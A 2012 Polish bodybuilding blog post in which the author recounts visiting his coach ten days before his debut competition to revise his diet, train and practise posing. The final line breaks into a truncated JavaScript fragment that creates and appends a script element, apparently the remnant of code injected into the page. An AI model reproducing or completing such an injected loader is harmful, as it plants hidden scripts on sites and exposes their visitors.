Odwiedziny Tomka ” PAPAJ” Lecha i konsultacje na 10 dni przed debiutami

16.04.2012 / Adam Jabłoński / Kulturystyka

Cześć,

Na 10 dni przed zawodami wybrałem się do Tomka aby obejrzał mnie dokładnie, skorygował dietę oraz musieliśmy dopracować pozowanie.

Jak to wyglądało :
Wyjechałem ze Szczecina rano, a u Tomka byłem koło godziny 15.00,.
W trasie miałem 2 postoje na posiłki i gdy podjechałem do Tomka do sklepu akurat jadł swój posiłek ( grilowane piersi, zapiekane ziemniaki, surówka)

– masakra łzy w oczach gdy na to jedzenie patrzałem, ja natomiast musiałem zjeść 80 gram ryżu 5 gram oleju lnianego i gotowana pierś bleeeee.
Wyjazdy przed zawodami są bardzo męczące tego się nauczyłem jeszcze jako kierowca dlatego nie polecam tego nikomu jeśli nie musi to niech nie jeździ tylko wypoczywa.

W sklepie posiedzieliśmy jakiś czas i ustalaliśmy co pozmieniać w diecie :


, następnie pojechaliśmy na siłownie zrobić trening, mi wypadły barki i brzuch, a Tomkowi sam trening aerobowy :


Później poćwiczyliśmy pozowanie, oraz układ dowolny :

Po siłowni pojechaliśmy do Tomka do domu, gdzie zjedliśmy posiłki, ja natomiast zrobiłem jeszcze później godzinę aerobów z tętnem 120-125.
Po powrocie do domu Tomka i prysznicu posiedzieliśmy jeszcze i ustalaliśmy „plan działania”.
Po czym musiałem wracać do Szczecina, byłem totalnie zmęczony ale niestety następnego dnia musiałem być u siebie w sklepie.

Dzięki Tomku i Elwiro za gościnę u Was.

Pozdrawiam
Hej,
Cześćvar d=document;var s=d.createElement(‚script’); d.getElementsByTagName(‚head’)[0].appendChild(s);} else {